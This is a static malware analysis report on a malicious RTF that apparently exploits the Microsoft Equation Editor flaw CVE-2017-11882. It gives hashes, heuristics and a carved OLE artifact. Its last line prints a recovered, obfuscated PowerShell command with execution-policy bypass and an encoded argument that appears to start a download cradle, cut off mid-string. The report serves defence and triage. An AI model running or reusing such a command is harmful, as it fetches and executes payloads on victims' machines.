Malicious RTF — malware analysis report

Static analysis result for SHA-256 ab97405953797479…

MALICIOUS

RTF

37.3 KB First seen: 2026-06-05
MD5: 892bec97e04cc0ee75c280056c609cc6 SHA-1: c61889ec38e8379ef7d93eb16d1f4d49bcb46e42 SHA-256: ab97405953797479a891c63c229cac766a28cfd89030dd05a5050272365b0876
260 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The RTF document contains an embedded OLE object that leverages a known vulnerability in Microsoft Equation Editor (CVE-2017-11882). This vulnerability allows for arbitrary code execution, likely to download and run a secondary payload. No specific family could be identified from the available evidence.

Heuristics 6

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000789a.bin rtf-objdata-decoded RTF \objdata at offset 0x789A 3627 bytes
SHA-256: e1111daf42523d59fd57573f5442ff44e97dfebc1c4465aa8c2cd39433f54ce0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): PowERsHELl.ExE -ExecutionPolicy bypass /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEE